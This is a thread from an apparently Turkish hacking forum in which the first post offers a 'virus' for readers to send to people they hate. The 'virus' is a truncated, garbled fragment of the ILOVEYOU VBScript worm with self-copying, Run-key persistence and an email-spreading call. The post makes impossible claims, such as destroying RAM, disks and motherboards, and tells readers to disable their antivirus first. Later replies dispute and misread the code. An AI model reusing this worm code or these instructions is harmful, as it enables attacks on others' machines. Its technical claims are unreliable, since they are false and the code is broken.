THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

Dünyayı sallayan virüs!!

VITALLION - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
04/2013
Yaş:
23
Mesajlar:
10.990
Konular:
1203
Teşekkür (Etti):
4337
Teşekkür (Aldı):
5525
Ticaret:
(0) %
12
2742
14-12-2013 16:54
#1
Selamun aleyküm arkadaşlar.Aşağıda kodu vereceğim için şimdi anlatıma geçeyim.
Arkadaşlar bu virüs dünyadaki antivirüslerin korkulu rüyasıdır.Bu virüsü engelleyen antivirüsler çok azdır.%2 falan.Algılayan antivirüsler var ama onlar algıladıktan sonra da antivirüs otomatik kapanır.Sonra pc çöker.
Yaptıkları:
-Ram bellek yanar.
-Harddisk ve varsa SSD yanar.
-Anakart yanar.
-CD-ROM sürekli açılıp kapanır.
-PC ye bağlı olan modem yanar.
-Ekran Kartı yanar.
-Cmd (Komut İstemi) silinir pc işlem yapamaz.
-İnternet tarayıcısı virüslü bir siteye yönlendirilir.Daha fazla virüs bulaşır.
-İnternet tarayıcısından girilen tüm şifreler sosyal paylaşım sitelerinde yayınlanır (Kullanıcı adı e-posta ve diğer bilgilerle birlikte).
-Sosyal paylaşım hesaplarına (Facebook Twitter vs.) virüs gönderilir hesap kapatılır.
-Aynı IP adresi üzerinden açılan tüm hesaplar kapanır.
-PC format atılsa bile düzelmez.

Evet arkadaşlar gördüğünüz gibi virüs çok güçlü.Ayrıca bunları yaptıktan sonra da format atılma imkanı sıfırdır.Yani bunu yollayacağınız kişiden gerçekten nefret ediyor olmalısınız.Ben şu ana kadar kimseye yollamadım ancak deneme videosunu izlemiştim 2 ay önce ama video kaldırılmış ve bu kod da şu anda çok az yerde bulunuyor...
İŞTE MÜTHİŞ KODUMUZ:
Kod:
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindow s Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersio nRunMSKernel32",dirsystem&"MSKernel32.vbs''
DİKKAT!!
Arkadaşlar bu kodu .bat dosyası olarak uzantısını değiştirin ve sakına kendiniz AÇMAYIN!!EĞER bilgisayarınıza zarar gelirse sorumlu değilim.
Ancak virüs kodunu kaydedip uzantıyı .bat yaparken anti-logger'lar antivirüsler ve varsa diğer virüs önleyici programları kapatın.
Yoksa kapatmazsanız antivirüsünüz algılar ve antivirüs kapanır virüs devreye girer.
Pcniz çöker kısaca.Bu yüzden antivirüs kapayalım arkadaşlar.
BİR TEŞEKKÜR YETER
---------------------




ƬHΣ GHΘЅƬLΨ , ƁLΔCƘ ΔΓΜΘƱΓΣD CΣƬƱΓIΘ




- SolidStar -
Konu SolidStar tarafından (14-12-2013 16:57 Saat 16:57 ) değiştirilmiştir.
hatedarkk - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2012
Mesajlar:
158
Konular:
6
Teşekkür (Etti):
3
Teşekkür (Aldı):
9
Ticaret:
(0) %
15-12-2013 16:28
#2
Şimdi sen bu kodun dünyayı salladığını mı söylüyorsun bırak bu işleri
'Black-King - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
07/2012
Nereden:
İzmir
Mesajlar:
10.135
Konular:
1911
Teşekkür (Etti):
523
Teşekkür (Aldı):
6141
Ticaret:
(0) %
21-12-2013 04:27
#3
Koddan anlamasam yerdım. dostum reg komutundakı

rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindow s Scripting HostSettingsTimeout")

wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"

sılıyor yönlendırme yapıyor.

set wscr=CreateObject("WScript.Shell")

açıyor WScript adlı bır dosyayı yada sıteyı.

c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")

buyuk ıhtımalle logları yolluyor copy kopyalamış burda ama bı tane sıteye yolluyor bunu.
kernel çekırdeğını kopyalıyor. dll dosyalarını kopyalıyor nereye yolladığı bellı bıle değıl.


kısacası bu kodla sadece pcsını çökertırsın oda kesın değıl ben sadece sıstemdekı dosyaları sılme kodlarını anladım gerısı boş ılavete şeyler okuduğum kadarıyla kodları bu kodlama sıstemden sadece 1-2 dosya sılıp 1-2 dosyanın loglarını bır aktarım kuyruğuna bağlayıp yolluyor o kadar.

kısacası kullanıcı sadece bununla pcyı çökertır, oda kesın değıl.
regrews5, 1299ibrahim Teşekkür etti.
589henry - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2012
Mesajlar:
166
Konular:
54
Teşekkür (Etti):
7
Teşekkür (Aldı):
3
Ticaret:
(0) %
21-12-2013 05:47
#4
Alıntı:
Black-King´isimli üyeden Alıntı Mesajı göster
Koddan anlamasam yerdım. dostum reg komutundakı

rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindow s Scripting HostSettingsTimeout")

wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"

sılıyor yönlendırme yapıyor.

set wscr=CreateObject("WScript.Shell")

açıyor WScript adlı bır dosyayı yada sıteyı.

c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")

buyuk ıhtımalle logları yolluyor copy kopyalamış burda ama bı tane sıteye yolluyor bunu.
kernel çekırdeğını kopyalıyor. dll dosyalarını kopyalıyor nereye yolladığı bellı bıle değıl.


kısacası bu kodla sadece pcsını çökertırsın oda kesın değıl ben sadece sıstemdekı dosyaları sılme kodlarını anladım gerısı boş ılavete şeyler okuduğum kadarıyla kodları bu kodlama sıstemden sadece 1-2 dosya sılıp 1-2 dosyanın loglarını bır aktarım kuyruğuna bağlayıp yolluyor o kadar.

kısacası kullanıcı sadece bununla pcyı çökertır, oda kesın değıl.
Kesinlikle hocama katılıyorum ve bu kod dediğin şeyleri yapabilecek kapasitede değil en fazla pc çöker 1 format sonrasında pc düzelir.
iyi forumlar
--------------------- DUR DAHA YENİ BAŞLADIK . . .
hackbluesam - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2013
Nereden:
D.KOPENHAQ
Yaş:
29
Mesajlar:
715
Konular:
36
Teşekkür (Etti):
160
Teşekkür (Aldı):
82
Ticaret:
(0) %
21-12-2013 08:16
#5
Bir iş yok bunda hepsi baska bir sunucuya aktarmali calisiyor...√√√
--------------------- Tarihi;
Kazanan tarafın politikacıları yazar.[ANONİM]™




sybian_%80
hack_%50
internet site_%80
oyun_%40
GSM TEL._%80
Android_%76
jaqen - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
04/2015
Mesajlar:
47
Konular:
2
Teşekkür (Etti):
9
Teşekkür (Aldı):
4
Ticaret:
(0) %
23-04-2015 20:19
#6
Bu site açıldığından beri bi bitmediniz ulan. Beyler artık uyanın. Ms-dos kodlarıyla virüs mirüs yapılmaz. Çok çok yapar birine yedirir işletim sistemini çökertirsiniz. Kanmayın şu lamerlara. Ms-dos ile ddos bile yapamazken siz hayırdır ya virüs fln.
Calling - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
04/2015
Nereden:
Amasya
Mesajlar:
109
Konular:
28
Teşekkür (Etti):
6
Teşekkür (Aldı):
4
Ticaret:
(0) %
24-04-2015 18:54
#7
Harkes hackerim diye geciniyo ya ise bak
sursama123 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
07/2013
Mesajlar:
41
Konular:
22
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Ticaret:
(0) %
14-05-2015 00:13
#8
Teşekkrüler iyi paylaşım
hakanbaba147 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
07/2015
Mesajlar:
2
Konular:
0
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Ticaret:
(0) %
07-07-2015 14:40
#9
denedım ama işe yaramadı
blackhacker01 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2015
Mesajlar:
27
Konular:
0
Teşekkür (Etti):
8
Teşekkür (Aldı):
2
Ticaret:
(0) %
07-07-2015 14:52
#10
saol

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler